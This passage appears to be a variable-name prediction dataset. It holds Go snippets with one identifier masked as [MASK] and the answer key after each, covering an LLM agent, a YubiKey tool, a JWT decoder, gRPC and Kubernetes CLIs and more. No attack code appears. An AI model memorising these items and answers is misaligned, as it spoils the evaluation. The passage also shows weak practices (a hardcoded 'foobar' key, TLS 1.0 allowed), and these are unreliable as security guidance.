cost if len(feedbacks) != 0 { for _, msg := range msgs { steps = append(steps, schema.StepAction{ Feedback: fd, Log: msg.Log, }) } continue } if len(actions) == 0 && len(msgs) == 0 { steps = append(steps, schema.StepAction{ Feedback: fd, Log: """", }) continue } if msgs != nil { msgs[0].Token = tokens return &schema.Generation{ Messages: msgs, TotalTokens: tokens, }, nil } } return nil, schema.ErrNotFinished } func (ba *BaseAgent) Plan(ctx context.Context, messages []schema.Message, steps []schema.StepAction, opts ...llm.GenerateOption) ( []schema.StepFeedback, []schema.StepAction, []schema.Message, int, error) { [MASK] := make(map[string]any, 10) for key, value := range ba.vars { [MASK] [key] = value } if ba.useFunctionCall { opts = append(opts, llm.WithTools(ConvertToolToFunctionDefinition(ba.Tools()))) } else { [MASK] [""tool_names""] = schema.ConvertToolNames(ba.tools) [MASK] [""tool_descriptions""] = schema.ConvertToolDescriptions(ba.tools) } [MASK] [""name""] = ba.name [MASK] [""role""] = ba.role [MASK] [""history""] = schema.ConvertConstructScratchPad(ba.name, ""me"", messages, steps) [MASK] [""current""] = time.Now().Format(""2006-01-02 15:04:05"") if ba.env != nil { [MASK] [""agent_names""] = schema.ConvertAgentNames(ba.env.GetSubscribeAgents(ctx, ba)) [MASK] [""agent_descriptions""] = schema.ConvertAgentDescriptions(ba.env.GetSubscribeAgents(ctx, ba)) [MASK] [""sop""] = ba.env.SOP() } p, err := ba.prompt.Format( [MASK] ) if err != nil { return nil, nil, nil, 0, err } if ba.callback != nil { ba.callback.HandleLLMStart(ctx, p) opts = append(opts, llm.WithStreamingFunc( ba.callback.HandleStreamingFunc)) } output, err := ba.llm.Generate(ctx, p, opts...) if err != nil { return nil, nil, nil, 0, err } if ba.callback != nil { ba.callback.HandleLLMEnd(ctx, output) } feedbacks := make([]schema.StepFeedback, 0) actions, content, err := ba.parseOutputFunc(ba.name, output) if err != nil { feedbacks = append(feedbacks, schema.StepFeedback{ Feedback: ""parse output failed with error: "" + err.Error(), Log: output.Content, }) return feedbacks, actions, content, output.Usage.TotalTokens, nil } fd := ba.fdChain.Feedback(ctx, ba, content, actions, steps, p) if fd.Type == feedback.NotApproved { feedbacks = append(feedbacks, schema.StepFeedback{ Feedback: fd.Msg, Log: output.Content, }) } if len(feedbacks) != 0 { return feedbacks, actions, content, output.Usage.TotalTokens, nil } return feedbacks, actions, content, output.Usage.TotalTokens, err } func (ba *BaseAgent) doAction( ctx context.Context, action *schema.StepAction) { var err error if ba.callback != nil { ba.callback.HandleAgentActionStart(ctx, ba.Name(), action) } t := ba.getAction(action.Action) if t == nil { action.Feedback += fmt.Sprintf(""- %s is not a valid tool, please check your answer\n"", action.Action) return } action.Observation, err = t.Call(ctx, action.Input) if err != nil { action.Feedback = err.Error() } if ba.callback != nil { ba.callback.HandleAgentActionEnd(ctx, ba.Name(), action) } } func (ba *BaseAgent) getAction(name string) tool.Tool { for _, a := range ba.tools { if strings.EqualFold(a.Name(), name) { return a } } return nil } func ConvertToolToFunctionDefinition(tools []tool.Tool) []llm.Tool { convertedTools := make([]llm.Tool, 0) for _, t := range tools { if t == nil { continue } functionDefinition := &llm.FunctionDefinition{ Name: t.Name(), Description: t.Description(), Parameters: t.Schema(), Strict: t.Strict(), } convertedTool := &llm.Tool{ Type: ""function"", Function: functionDefinition, } convertedTools = append(convertedTools, *convertedTool) } return convertedTools } func parseOutput(name string, output *llm.Generation) ([]schema.StepAction, []schema.Message, error) { if len(output.ToolCalls) > 0 { return parseToolCalls(output.ToolCalls), nil, nil } content := strings.TrimSpace(output.Content) if content == """" { return nil, nil, errors.New(""content is empty"") } content = json.TrimJsonString(content) action, err := parseAction(content) if err != nil { return nil, nil, err } if action != nil { return []schema.StepAction{*action}, nil, nil } message, err := parseMessage(name, content) if err != nil { return nil, nil, err } return nil, []schema.Message{*message}, nil } func parseToolCalls(toolCalls []llm.ToolCall) []schema.StepAction { actions := make([]schema.StepAction, 0, len(toolCalls)) for _, toolCall := range toolCalls { logBytes, _ := json.Marshal(toolCall) action := schema.StepAction{ Action: toolCall.Function.Name, Input: toolCall.Function.Arguments, Log: string(logBytes), } actions = append(actions, action) } return actions } func parseAction(content string) (*schema.StepAction, error) { action := &schema.StepAction{Log: content} // fix: action input may be json instead of json string actionInput := &schema.StepActionInput{} if err := json.Unmarshal([]byte(content), action); err != nil { if action.Action == """" { return nil, err } } if err := json.Unmarshal([]byte(content), actionInput); err != nil { return nil, err } switch actionInput.Input.(type) { case string: action.Input = actionInput.Input.(string) default: marshal, _ := json.Marshal(actionInput.Input) action.Input = string(marshal) } if action.Action != """" { return action, nil } return nil, nil } func parseMessage(name, content string) (*schema.Message, error) { message := &schema.Message{Log: content, Sender: name} if err := json.Unmarshal([]byte(content), message); err != nil { return nil, err } return message, nil } func (ba *BaseAgent) Name() string { return ba.name } func (ba *BaseAgent) Description() string { return ba.desc } func (ba *BaseAgent) WithEnv(env schema.Environment) { ba.env = env } func (ba *BaseAgent) Env() schema.Environment { return ba.env } func (ba *BaseAgent) Tools() []tool.Tool { return ba.tools } ",inputs 775,"package main import ( ""fmt"" ) func rec_sub(x []byte) { if len(x) < 1 { return } i := len(x) - 1 if x[i] > 0 { x[i] = x[i] - 1 return } else { x[i] = 9 rec_sub(x[:i]) } } func compare(a []byte, b []byte) int { var j int for j = range a { if a[j] > 0 { break } } sa := a[j:] la := len(sa) lb := len(b) if la < lb { return -1 } var i int if la == lb { for i = 0; i < la; i++ { if sa[i] < b[i] { return -1 } else if sa[i] > b[i] { break } } if i == la { return 0 } } return 1 } func sub(a []byte, b []byte) int { ans := compare(a, b) if ans < 1 { return ans } la := len(a) lb := len(b) res := 0 for compare(a, b) >= 0 { for i := lb - 1; i >= 0; i-- { if a[la-lb+i] < b[i] { a[la-lb+i] += 10 rec_sub(a[:la-lb+i]) } a[la-lb+i] = a[la-lb+i] - b[i] } res++ } return res } func main() { var ( [MASK] string str2 string ) fmt.Scanf(""%s"", & [MASK] ) fmt.Scanf(""%s"", &str2) a := []byte( [MASK] ) b := []byte(str2) c := make([]byte, 100) for i := range a { a[i] = a[i] - byte('0') } for i := range b { b[i] = b[i] - byte('0') } n := len( [MASK] ) - len(str2) if n < 0 { fmt.Printf(""0\n"") return } for i := 0; i < n; i++ { b = append(b, 0) } var i int for i = 0; i <= n; i++ { ans := sub(a, b[:len(b)-i]) if ans > 0 { c[i] = (byte)(ans) + (byte)('0') } else { c[i] = (byte)('0') } } var k int for k = 0; k < i; k++ { if c[k] > (byte)('0') { break } } if k == i { fmt.Printf(""0\n"") } else { fmt.Printf(""%s\n"", c[k:]) } } ",str1 776,"package main import ( ""bufio"" ""encoding/json"" ""flag"" ""fmt"" ""os"" ""strings"" ""github.com/dsggregory/yubiv/pkg/selfhosted/model"" ""github.com/dsggregory/yubiv/pkg/selfhosted"" log ""github.com/sirupsen/logrus"" ) // OpStr options for the app type OpStr struct { dbPath string addUser bool printUsers bool otp string secret string y *selfhosted.YubiAuth } // gets reads a string from stdin func gets(prompt string) (string, error) { reader := bufio.NewReader(os.Stdin) fmt.Print(prompt) resp, err := reader.ReadString('\n') if err != nil { return """", err } resp = strings.TrimRight(resp, ""\r\n"") return resp, nil } // printAllUsers prints all user records from the database func (o *OpStr) printAllUsers() { users, err := o.y.GetDB().GetAll() if err != nil { log.Fatal(err) } js, err := json.MarshalIndent(users, """", "" "") if err != nil { log.Fatal(err) } fmt.Println(string(js)) } // addDeviceUser add a user and their Yubikey to the database. func (o *OpStr) addDeviceUser() { otp, err := gets(""Press Yubi device (from device to add): "") if err != nil { log.Fatal(err) } [MASK] := otp[:selfhosted.PubLen] if exu, _ := o.y.GetDB().Get( [MASK] ); exu != nil { js, err := json.MarshalIndent(exu, """", "" "") if err != nil { log.Fatal(err) } fmt.Println(string(js)) log.Fatal(""user already exists"") } secret, err := gets(""Enter secret for device to add: "") if err != nil { log.Fatal(err) } email, err := gets(""Enter email of user to add: "") if err != nil { log.Fatal(err) } u := model.YubiUser{ IsEnabled: true, Public: [MASK] , Secret: model.ColumnSecret(secret), Email: email, } if err = o.y.GetDB().Add(u); err != nil { log.Fatal(err) } o.printAllUsers() } // validate a Yubi key press (OTP) against known devices in the DB func (o *OpStr) validate() { otp, err := gets(""Enter Yubi token to verify: "") o.y.SetToken(otp) user, err := o.y.Validate() if err != nil { log.Fatal(err) } fmt.Println(""OTP Validated: user record of device to follow"") js, err := json.MarshalIndent(user, """", "" "") if err != nil { log.Fatal(err) } fmt.Println(string(js)) } func main() { opts := OpStr{} flag.StringVar(&opts.dbPath, ""d"", ""file:///tmp/yubiuser.db"", ""Path to the sqlite3 DB"") flag.BoolVar(&opts.addUser, ""a"", false, ""Add a user (Yubi device) instead of verify OTP"") flag.BoolVar(&opts.printUsers, ""p"", false, ""Print all users"") flag.Parse() // This will create the tables if necessary and return an object for you to use to manage self-hosted users and verify OTPs y, err := selfhosted.NewYubiAuth(opts.dbPath) if err != nil { log.Fatal(err) } // Specify the secret DB column encryption key for this application. // WARNING: Real world production code should get this value from vault, k8s secret, et.al. dbEncKey := ""foobar"" y.GetDB().SetSecretColumnKeyFunc(func() string { return dbEncKey }) opts.y = y if opts.addUser { opts.addDeviceUser() } else if opts.printUsers { opts.printAllUsers() } else { opts.validate() } } ",yubiID 777,"package main import ( ""context"" ""errors"" ""fmt"" ""log"" ""net"" ""os/signal"" ""syscall"" ""github.com/golang-migrate/migrate/v4"" grpc_zap ""github.com/grpc-ecosystem/go-grpc-middleware/logging/zap"" ""github.com/jackc/pgx/v5/pgxpool"" ""github.com/nats-io/nats.go"" ""go.uber.org/zap"" ""google.golang.org/grpc"" ""github.com/hampgoodwin/todo/internal/database"" ""github.com/hampgoodwin/todo/internal/environment"" inats ""github.com/hampgoodwin/todo/internal/event/nats"" grpccontroller ""github.com/hampgoodwin/todo/internal/grpc/v1/controller"" grpcrouter ""github.com/hampgoodwin/todo/internal/grpc/v1/router"" ""github.com/hampgoodwin/todo/internal/repository"" ""github.com/hampgoodwin/todo/internal/service"" itrace ""github.com/hampgoodwin/todo/internal/trace"" ) func main() { ctx, cancel := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT) // Create the OTLP Tracer Provider tpShutdownFn, err := itrace.SetOTLPGRPCTracerProvider(ctx) if err != nil { log.Panic(""failed to create otlp grpc exporter"") } // Load the environment // The environment includes the minimum necessary dependencies to start the application env, err := environment.New(environment.Environment{}, ""/etc/todo/.env.toml"") if err != nil { _ = tpShutdownFn(ctx) log.Panic(""failed to create new environment"") } // Create the postgres database pool and migrate db, err := database.NewDatabasePool(ctx, env.Config.Database.ConnectionString()) if err != nil { env.Log.Error(""creating new database pool"", zap.Error(err)) log.Fatal(""error creating database pool on application start"") } if err := database.Migrate(db); err != nil { if !errors.Is(err, migrate.ErrNoChange) { env.Log.Fatal(""migrating"", zap.Error(err)) log.Fatal(""error migrating database on application start"") } env.Log.Info(""no migration changes"") } // Create the repository layer repository := repository.NewRepository(db) // Create NATS event bus, using proto encoded connection and JetStream env.Log.Info(""starting nats"", zap.Any(""service_info"", env.Config.NATS.URL())) nenc, err := inats.NewNATSEncodedConn(env.Config.NATS.URL()) if err != nil { env.Log.Error(""nats error, shutting down"", zap.Error(err)) close(ctx, env.Log, db, nenc, nil, nil, tpShutdownFn) log.Fatal(""failed to create nats connection"") } env.Log.Info(""creating jetstream"") if _, err := inats.NewNATSJetStream(nenc); err != nil { env.Log.Error(""jetstream error, shutting down"", zap.Error(err)) close(ctx, env.Log, db, nenc, nil, nil, tpShutdownFn) log.Fatal(""failed to create jetstream"") } var nencWiretap *nats.EncodedConn if env.Config.NATS.Wiretap.Enable { env.Log.Info(""starting wiretap"", zap.Any(""service_info"", env.Config.NATS.Wiretap.URL())) nencWiretap, err = inats.WireTap(env.Config.NATS.Wiretap.URL()) if err != nil { env.Log.Error(""nats wiretap error, shutting down"", zap.Error(err)) close(ctx, env.Log, db, nenc, nencWiretap, nil, tpShutdownFn) log.Fatal(""failed to create wiretap"") } } // Create the service layer service := service.NewService(env.Log, repository, nenc) // Create the gRPC server // Create the controller for the to-be-created gRPC Server [MASK] := grpccontroller.NewController(env.Log, service) // Create listener for gRPC Server lis, err := net.Listen(""tcp"", env.Config.GRPCServer.URL()) if err != nil { log.Fatalf(""failed to listen: %v"", err) } // Create the gRPC server with zap log grpc intercepter grpcServer := grpc.NewServer(grpc.UnaryInterceptor( grpc_zap.UnaryServerInterceptor(env.Log), )) // Register the controller with the server grpcrouter.Register(grpcServer, [MASK] ) // Serve the gRPC server on the earlier created Listener grpcErr := make(chan error) go func() { env.Log.Info(""starting grpc server"", zap.Any(""service_info"", grpcServer.GetServiceInfo())) grpcErr <- grpcServer.Serve(lis) }() // Handle any errors from Servers for { select { case err := <-grpcErr: env.Log.Error(""grpc server error, shutting down"", zap.Error(err)) close(ctx, env.Log, db, nenc, nencWiretap, grpcServer, tpShutdownFn) return case <-ctx.Done(): fmt.Printf(""received shutdown signal: %s\n"", ctx.Err()) cancel() close(ctx, env.Log, db, nenc, nencWiretap, grpcServer, tpShutdownFn) return } } } // close cleans up the application dependencies func close( ctx context.Context, log *zap.Logger, db *pgxpool.Pool, nenc *nats.EncodedConn, nencWiretap *nats.EncodedConn, grpcServer *grpc.Server, tpShutdownFunc func(context.Context) error, ) { log.Info(""closing"") // close grpc server if grpcServer != nil { log.Info(""closing grpcserver"") grpcServer.GracefulStop() } // close http server // disconnect from db if db != nil { log.Info(""closing db"") db.Close() } // drain nats encoded connection if nenc != nil { log.Info(""draining and closing nats connection"") if err := nenc.Drain(); err != nil { log.Error(""draining and closing nats connection"", zap.Error(err)) } } // drain nats wire tap encoded connection if nencWiretap != nil { log.Info(""draining and closing wiretap connection"") if err := nencWiretap.Drain(); err != nil { log.Error(""draining and closing wiretap connection"", zap.Error(err)) } } // shutdown tracer provider log.Info(""shutting down tracer provider"") if err := tpShutdownFunc(ctx); err != nil { log.Error(""shutting down tracer provider"", zap.Error(err)) } } ",grpcController 778,"package cmd import ( ""crypto/tls"" ""fmt"" ""github.com/sosozhuang/component/model"" log ""github.com/Sirupsen/logrus"" ""github.com/containerops/configure"" ""github.com/spf13/cobra"" ""gopkg.in/macaron.v1"" ""net/http"" ""strings"" ""net"" ""github.com/sosozhuang/component/web"" ""net/url"" ""github.com/sosozhuang/component/module"" ) var address string var port int64 var listenMode string //var serviceUrl string var daemonCmd = &cobra.Command{ Use: ""daemon"", Short: ""Web subcommand start component's REST API daemon."", Long: ``, } var startDaemonCmd = &cobra.Command{ Use: ""start"", Short: ""Start component's REST API daemon."", Long: ``, Run: startDeamon, } func init() { RootCmd.AddCommand(daemonCmd) // Add start subcommand daemonCmd.AddCommand(startDaemonCmd) startDaemonCmd.Flags().StringVarP(&address, ""address"", ""a"", ""0.0.0.0"", ""http or https listen address."") startDaemonCmd.Flags().Int64VarP(&port, ""port"", ""p"", 80, ""the port of http."") listenMode = configure.GetString(""daemon.listenmode"") initServiceUrl() } func initServiceUrl() { var u url.URL u.Scheme = listenMode addr := address //port := cmd.GetPort() if addr == ""0.0.0.0"" || addr == ""127.0.0.1"" { if addrs, err := net.InterfaceAddrs(); err != nil { log.Errorln(""Component get network interfaces error:"", err) addr = ""127.0.0.1"" } else { for _, a := range addrs { if ipnet, ok := a.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { if ipnet.IP.To4() != nil { addr = ipnet.IP.String() break } } } } } u.Host = fmt.Sprintf(""%s:%d"", addr, port) module.ServiceUrl = u.String() } func startDeamon(cmd *cobra.Command, args []string) { defer model.CloseDB() [MASK] := getLogFile(strings.TrimSpace(configure.GetString(""log.file"")), configure.GetBool(""log.append"")) log.SetOutput( [MASK] ) defer [MASK] .Close() setLogLevel(strings.ToLower(configure.GetString(""log.level""))) m := macaron.New() // Set Macaron Web Middleware And Routers web.SetMacaron(m) switch listenMode { case ""http"": listenAddr := fmt.Sprintf(""%s:%d"", address, port) log.Debugln(""Component is listening:"", listenAddr) if err := http.ListenAndServe(listenAddr, m); err != nil { log.Errorf(""startDeamon http server error: %v\n"", err.Error()) return } case ""https"": listenAddr := fmt.Sprintf(""%s:%d"", address, port) server := &http.Server{Addr: listenAddr, TLSConfig: &tls.Config{MinVersion: tls.VersionTLS10}, Handler: m} if err := server.ListenAndServeTLS(configure.GetString(""https.certfile""), configure.GetString(""https.keyfile"")); err != nil { log.Errorf(""startDeamon https server error: %v\n"", err.Error()) return } default: log.Errorln(""startDeamon can't listen at mode:"", listenMode) } } ",logFile 779,"package main import ( ""encoding/json"" ""fmt"" ""os"" ""strings"" ""github.com/dgrijalva/jwt-go"" ""github.com/logrusorgru/aurora"" ) func main() { if len(os.Args) > 1 && os.Args[1] == ""help"" { printHelp() os.Exit(0) } if len(os.Args) < 2 { fmt.Printf(""\n%s\n\n"", aurora.Red(""error: JWT token is required"")) printHelp() os.Exit(5) } jwtToken := os.Args[1] tokenSegments := strings.Split(jwtToken, ""."") if len(tokenSegments) < 3 { fmt.Printf(""\n%s\n\n"", aurora.Red(""error: invalid JWT token"")) printHelp() os.Exit(5) } fmt.Printf(""\n-------------------------- HEADER --------------------------------\n"") header, err := jwt.DecodeSegment(tokenSegments[0]) if err != nil { fmt.Printf(aurora.Sprintf(aurora.Red(""unable to decode token payload: %v\n""), err)) os.Exit(5) } headerClaims, err := decode(string(header)) if err != nil { fmt.Println(aurora.Sprintf(aurora.Red(""unable to decode JWT header: %v""), err)) os.Exit(5) } if err := encode(headerClaims); err != nil { fmt.Println(""unable to encode JSON JWT header: "", err) os.Exit(5) } fmt.Printf(""\n-------------------------- PAYLOAD -------------------------------\n"") payload, err := jwt.DecodeSegment(tokenSegments[1]) if err != nil { fmt.Printf(aurora.Sprintf(aurora.Red(""unable to decode token payload: %v\n""), err)) os.Exit(5) } [MASK] , err := decode(string(payload)) if err != nil { fmt.Println(aurora.Sprintf(aurora.Red(""unable to decode JWT payload: %v\n""), err)) os.Exit(5) } if err := encode( [MASK] ); err != nil { fmt.Println(aurora.Sprintf(aurora.Red(""unable to encode JSON JWT payload: %v\n""), err)) os.Exit(5) } // TODO Handle for given signature to also do verify the token // Maybe the format will looks like this: ./jwt JWT_TOKEN [signature] fmt.Printf(""\n-------------------------- SIGNATURE -----------------------------\n"") fmt.Printf(""%s\n\n"", tokenSegments[2]) } func printHelp() { progName := os.Args[0] fmt.Printf(aurora.Sprintf(aurora.Green(`App to decode information within a JWT token Usage: %s JWT_TOKEN example: %s `+""\n""), progName, progName)) } func decode(tokenElement string) (claims map[string]interface{}, err error) { err = json.NewDecoder(strings.NewReader(tokenElement)).Decode(&claims) return } func encode(claims map[string]interface{}) error { encoder := json.NewEncoder(os.Stdout) encoder.SetIndent("""", "" "") return encoder.Encode(claims) } ",payloadClaims 780,"package codec import ( ""fmt"" ""sync"" ""time"" ) type ( Registry struct { sync.Mutex registry map[string]*Codec notifiers map[int64]func(codec *Codec) } Codec struct { Name string Instance Instance InstanceInsertedAt time.Time Factory Factory FactoryInsertedAt time.Time } RegistryOption func(registry *Registry) ) func WithFactory(name string, factory Factory, at time.Time) RegistryOption { return func(registry *Registry) { registry.RegisterFactory(name, factory, at) } } func WithCodec(name string, codec Instance, at time.Time) RegistryOption { return func(registry *Registry) { registry.RegisterInstance(name, codec, at) } } var registryInstance = New() func Codecs(notifier func(codec *Codec)) (codecs map[string]*Codec, closer func()) { return registryInstance.Codecs(notifier) } func RegisterCodec(name string, codec Instance, at time.Time) { registryInstance.RegisterInstance(name, codec, at) } func RegisterFactory(name string, factory Factory, at time.Time) { registryInstance.RegisterFactory(name, factory, at) } func Register(name string, codec *Codec) { registryInstance.RegisterCodec(name, codec) } func New(opts ...RegistryOption) *Registry { r := &Registry{ registry: map[string]*Codec{}, notifiers: map[int64]func(codec *Codec){}, } for _, opt := range opts { opt(r) } return r } func (r *Registry) Codecs(notifier func(codec *Codec)) (map[string]*Codec, func()) { r.Lock() defer r.Unlock() result := map[string]*Codec{} for key, codec := range r.registry { result[key] = codec } var closer func() if notifier != nil { key := r.key() r.notifiers[key] = notifier closer = func() { r.Lock() defer r.Unlock() delete(r.notifiers, key) } } return result, closer } func (r *Registry) RegisterCodec(name string, codec *Codec) { r.Lock() defer r.Unlock() r.registry[name] = codec r.notify(codec) } func (r *Registry) RegisterFactory(name string, factory Factory, at time.Time) { r.Lock() defer r.Unlock() codec := r.getCodec(name) codec.Factory = factory r.notify(codec) } func (r *Registry) RegisterInstance(name string, instance Instance, at time.Time) { r.Lock() defer r.Unlock() codec := r.getCodec(name) codec.Instance = instance r.notify(codec) } func (r *Registry) getCodec(name string) *Codec { codec, ok := r.registry[name] if !ok { codec = &Codec{} r.registry[name] = codec } return codec } func (r *Registry) Lookup(name string) (*Codec, error) { r.Lock() defer r.Unlock() codec, ok := r.registry[name] if !ok { return nil, fmt.Errorf(""not found codec %v"", name) } return codec, nil } func (r *Registry) key() int64 { [MASK] := time.Now().Unix() for { if _, ok := r.notifiers[ [MASK] ]; ok { [MASK] ++ } else { return [MASK] } } } func (r *Registry) notify(codec *Codec) { for _, f := range r.notifiers { f(codec) } } ",now 781,"package slackadapter import ( ""context"" ""strconv"" ""github.com/slack-go/slack"" ""github.com/vim-jp/slacklog-generator/internal/slacklog"" ) // ConversationsParams is optional parameters for Conversations type ConversationsParams struct { Cursor Cursor `json:""cursor,omitempty""` Limit int `json:""limit,omitempty""` ExcludeArchived bool `json:""excludeArchived,omitempty""` Types []string `json:""types,omitempty""` } // ConversationsResponse is response for Conversations type ConversationsResponse struct { Ok bool `json:""ok""` Channels []*slacklog.Channel `json:""channels,omitempty""` ResponseMetadata *NextCursor `json:""response_metadata""` } // Conversations gets conversation channels in a channel. func Conversations(ctx context.Context, token string, params ConversationsParams) (*ConversationsResponse, error) { client := slack.New(token) channels, [MASK] , err := client.GetConversationsContext(ctx, &slack.GetConversationsParameters{ Cursor: string(params.Cursor), Limit: params.Limit, ExcludeArchived: strconv.FormatBool(params.ExcludeArchived), Types: params.Types, }) if err != nil { return nil, err } var logChannels []*slacklog.Channel for _, c := range channels { logChannels = append(logChannels, &slacklog.Channel{ Channel: c, }) } res := &ConversationsResponse{ Ok: true, Channels: logChannels, } if [MASK] != """" { res.ResponseMetadata = &NextCursor{ NextCursor: Cursor( [MASK] ), } } return res, nil } ",nextCursor 782,"package rlgroup import ( ""fmt"" ""net/http"" ""github.com/Zanda256/rate-limiter-go/business/data/cache"" ""github.com/Zanda256/rate-limiter-go/business/web/v1/mid"" ratelimiter ""github.com/Zanda256/rate-limiter-go/business/web/v1/rate-limiter"" ""github.com/Zanda256/rate-limiter-go/foundation/logger"" ""github.com/Zanda256/rate-limiter-go/foundation/web"" ) type Config struct { TierConfig map[string]ratelimiter.Tier KvStore *cache.RedisCache Log *logger.Logger } func Routes(app *web.App, cfg Config) { const version = ""v1"" rateLmt := ratelimiter.NewRateLimiter(ratelimiter.RateLimiterConfig{ Tier: cfg.TierConfig[""basic""], KvStore: cfg.KvStore, Log: cfg.Log, }) fmt.Printf(""\nTier: %+v\n"", cfg.TierConfig[""basic""]) [MASK] := mid.RateLimit(rateLmt) hdl := New(cfg.Log) app.HandlePath(http.MethodGet, version, ""/"", hdl.UnLimited) app.HandlePath(http.MethodGet, version, ""/limited"", hdl.Limited, [MASK] ) app.HandlePath(http.MethodGet, version, ""/unlimited"", hdl.UnLimited) } ",rateLmtMiddleware 783,"package commands import ( ""context"" ""fmt"" ""github.com/keikoproj/manager/internal/config/common"" ""github.com/keikoproj/manager/internal/utils"" ""github.com/keikoproj/manager/pkg/grpc"" ""github.com/keikoproj/manager/pkg/k8s"" ""github.com/spf13/cobra"" ""k8s.io/api/rbac/v1"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ""log"" ""os"" ""time"" apis ""github.com/keikoproj/manager/pkg/grpc/proto/apis"" pb ""github.com/keikoproj/manager/pkg/grpc/proto/cluster"" ) // NewClusterCommand returns a new instance of an `manager cluster` command func NewClusterCommand() *cobra.Command { var command = &cobra.Command{ Use: ""cluster"", Short: ""Manage cluster operations"", Run: func(c *cobra.Command, args []string) { c.HelpFunc()(c, args) os.Exit(1) }, Example: ` # Register a cluster with keiko-manager. The context must exist in your kubectl config: manager cluster register -ctx admins@iksm-ppd-usw2-k8s # Remove managed cluster from manager manager cluster unregister -c admins@iksm-ppd-usw2-k8s `, } command.AddCommand(NewClusterRegisterCommand()) command.AddCommand(NewClusterUnregisterCommand()) return command } //NewClusterRegisterCommand registers the target cluster with the manager. //Target cluster can be the same cluster where manager resides (provide --self true) //If service account is not provided manager will create service account, cluster role and role binding //Service Account must exists in ""kube-system"" namespace func NewClusterRegisterCommand() *cobra.Command { var ( self bool serviceAccount string configContext string ) var command = &cobra.Command{ Use: ""register"", Short: fmt.Sprintf(""%s cluster register"", ""manager""), Long: ""Add/register managed cluster with manager"", Example: ""manager cluster register -c admins@iksm-ppd-usw2-k8s"", Run: func(c *cobra.Command, args []string) { ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() conf, name := getManagedClusterKubeConfig(configContext) managedClusterClient := k8s.NewK8sManagedClusterClientDoOrDie(conf) if serviceAccount == """" { createRBACInManagedCluster(ctx, managedClusterClient) serviceAccount = common.ManagerServiceAccountName } token, err := managedClusterClient.GetServiceAccountTokenSecret(ctx, serviceAccount, common.SystemNameSpace) utils.StopIfError(err) fmt.Printf(""token received successfully\n"") //Create cluster request cl := &pb.Cluster{ Name: name, Cloud: ""AWS"", Config: &pb.Config{ Host: conf.Host, BearerToken: token, TlsClientConfig: &pb.TLSClientConfig{ CaData: conf.CAData, ServerName: conf.ServerName, InSecure: conf.Insecure, }, }, } //If it is self cluster registration change the hostname if self { cl.Config.Host = common.InClusterAPIServerAddr } //Call Server resp, err := grpc.NewConnectionOrDie().NewClusterClientOrDie().RegisterCluster(ctx, cl) utils.StopIfError(err) fmt.Printf(""Successfully registerd %s cluster\n"", resp.Name) }, } command.Flags().BoolVarP(&self, ""self"", ""i"", false, ""To self manage keiko manager cluster itself. Default = false"") command.Flags().StringVarP(&serviceAccount, ""service-account"", ""s"", """", fmt.Sprintf(""System namespace service account to use for kubernetes resource management. If not set then default \""%s\"" SA will be created"", common.ManagerServiceAccountName)) command.Flags().StringVarP(&configContext, ""use-context"", ""c"", """", ""context to be used from user kubeconfig file. This kubeconfig context must have cluster admin access to create required RBAC in the target cluster if service account is not provided"") return command } //NewClusterUnregisterCommand unregisters the target cluster from manager //For now, lets make sure user who is unregistering the cluster does have cluster admin access on target cluster. //This should be updated once we have RBAC on manager itself to see if user is authorized unregister a particular cluster //At the moment, we concentrate only on removing the created rbac resources in the target clusters. func NewClusterUnregisterCommand() *cobra.Command { var ( clusterName string ) var command = &cobra.Command{ Use: ""unregister"", Short: fmt.Sprintf(""%s cluster unregister"", ""manager""), Long: ""Remove/unregister managed cluster from manager"", Example: ""manager cluster unregister -c admins@iksm-ppd-usw2-k8s"", Run: func(c *cobra.Command, args []string) { //conf, name := getManagedClusterKubeConfig(configContext) //clientSet, err := kubernetes.NewForConfig(conf) //utils.StopIfError(err) ctx := context.Background() //managedClusterClient := k8s.NewK8sManagedClusterClientDoOrDie(clientSet) //removeRBACInManagedCluster(ctx, managedClusterClient) //fmt.Printf(""Clsuetr %s is removed successfully"", name) req := &apis.UnregisterClusterRequest{ ClusterName: clusterName, } _, err := grpc.NewConnectionOrDie().NewClusterClientOrDie().UnregisterCluster(ctx, req) utils.StopIfError(err) fmt.Println(""Successfully unregistered the cluster from manager"") }, } command.Flags().StringVarP(&clusterName, ""cluster-name"", ""c"", """", ""Unregister the cluster with the manager which deletes the service account from target cluster too"") return command } func getManagedClusterKubeConfig(contextName string) (*rest.Config, string) { [MASK] := clientcmd.NewDefaultPathOptions() config, err := [MASK] .GetStartingConfig() utils.StopIfError(err) clstContext := config.Contexts[contextName] if clstContext == nil { log.Fatalf(""Context %s does not exist in kubeconfig"", contextName) } overrides := clientcmd.ConfigOverrides{ Context: *clstContext, } clientConfig := clientcmd.NewDefaultClientConfig(*config, &overrides) conf, err := clientConfig.ClientConfig() utils.StopIfError(err) return conf, clstContext.Cluster } func createRBACInManagedCluster(ctx context.Context, client *k8s.Client) { //Create ServiceAccount err := client.CreateServiceAccountForCluster(ctx, common.ManagerServiceAccountName, common.SystemNameSpace) utils.StopIfError(err) //Create Cluster Role err = client.CreateOrUpdateClusterRole(ctx, common.ManagerClusterRole) utils.StopIfError(err) sub := v1.Subject{ Kind: common.ServiceAccountKind, Name: common.ManagerServiceAccountName, Namespace: common.SystemNameSpace, } //Create Cluster RoleBinding err = client.CreateOrUpdateClusterRoleBinding(ctx, common.ManagerClusterRoleBinding, common.ManagerClusterRole, sub) utils.StopIfError(err) } func removeRBACInManagedCluster(ctx context.Context, client *k8s.Client) { //Delete Cluster RoleBinding err := client.DeleteClusterRoleBinding(ctx, common.ManagerClusterRoleBinding) utils.StopIfError(err) //Delete Cluster Role err = client.DeleteClusterRole(ctx, common.ManagerClusterRole) utils.StopIfError(err) //Delete Service Account err = client.DeleteServiceAccount(ctx, common.ManagerServiceAccountName, common.SystemNameSpace) utils.StopIfError(err) } ",configAccess 784,"/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package blobfuse import ( ""fmt"" ""os"" ""strings"" kv ""github.com/Azure/azure-sdk-for-go/services/keyvault/2016-10-01/keyvault"" 